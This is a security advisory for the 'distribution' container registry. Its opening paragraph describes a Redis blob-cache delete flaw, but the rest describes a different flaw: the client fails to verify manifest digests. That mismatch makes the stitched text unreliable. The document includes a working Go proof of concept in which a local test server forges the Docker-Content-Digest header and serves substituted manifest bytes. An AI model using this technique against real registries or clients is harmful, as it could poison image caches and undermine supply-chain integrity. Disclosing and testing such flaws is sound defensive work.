Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.0, distribution can restore read access in repo a after an explicit delete when storage.cache.blobdescriptor: redis and storage.delete.enabled: true are both enabled. The delete path clears the shared digest descriptor but leaves stale repo-scoped membership behind, so a later Stat or Get from repo b repopulates the shared descriptor and makes the deleted blob readable from repo a again. This vulnerability is fixed in 3.1.0.

Summary

registry/client.(manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.

Details

Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.

Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with: 1. Docker-Content-Digest: <requested-digest> (forged header) 2. A body containing a different, attacker-chosen manifest

The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.

Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.

Relevant code path (repository.go, simplified): go // line ~496 func (ms manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) { ... resp, err := ms.client.Get(u) ... body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check ... m, , err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes return m, err }

PoC

go.mod: module poc

go 1.24.10

require ( github.com/distribution/reference v0.6.0 github.com/docker/distribution v2.8.3+incompatible github.com/opencontainers/go-digest v1.0.0 )

require ( github.com/beorn7/perks v1.0.1 // indirect github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect github.com/golang/protobuf v1.3.2 // indirect github.com/gorilla/mux v1.8.1 // indirect github.com/matttproud/golangprotobufextensions v1.0.1 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/prometheus/clientgolang v1.1.0 // indirect github.com/prometheus/clientmodel v0.0.0-20190129233127-fd36f4220a90 // indirect github.com/prometheus/common v0.6.0 // indirect github.com/prometheus/procfs v0.0.3 // indirect github.com/sirupsen/logrus v1.9.4 // indirect golang.org/x/sys v0.13.0 // indirect )

main.go: go // PoC: registry/client manifests.Get() does not verify the requested digest // against the returned body. A malicious registry (or MITM) can serve // arbitrary content for a digest-pinned manifest reference and the client // will accept it. package main

import ( "context" "fmt" "net/http" "net/http/httptest"

"github.com/distribution/reference" "github.com/docker/distribution/manifest/schema2" "github.com/docker/distribution/registry/client" "github.com/opencontainers/go-digest" )

// A real, "trusted" manifest the user pinned by digest. var trustedManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "layers": [] })

// A different, attacker-controlled manifest the malicious server returns instead. var evilManifest = []byte({ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}, "layers": [] })

func main() { pinnedDigest := digest.FromBytes(trustedManifest) evilDigest := digest.FromBytes(evilManifest) fmt.Println("client requests manifest pinned at:", pinnedDigest) fmt.Println("server will instead return content :", evilDigest)

srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { // Lie: claim the digest matches what was asked, but serve evil bytes. w.Header().Set("Content-Type", schema2.MediaTypeManifest) w.Header().Set("Docker-Content-Digest", pinnedDigest.String()) w.WriteHeader(200) w.Write(evilManifest) })) defer srv.Close()

name, := reference.WithName("library/alpine") repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport) if err != nil { panic(err) } ms, := repo.Manifests(context.Background())

// Fetch by digest — caller expects content-addressed integrity. m, err := ms.Get(context.Background(), pinnedDigest) if err != nil { fmt.Println("Get error:", err) return } , payload, := m.Payload() got := digest.FromBytes(payload)

if got != pinnedDigest { fmt.Println() fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest") fmt.Println(" requested:", pinnedDigest) fmt.Println(" received :", got) } else { fmt.Println("OK: digest verified") } }

Output (v2.8.3+incompatible): client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

>> BYPASS: client accepted manifest that does NOT match requested digest requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

Impact

Any application that calls registry/client.(manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.

An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.

Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.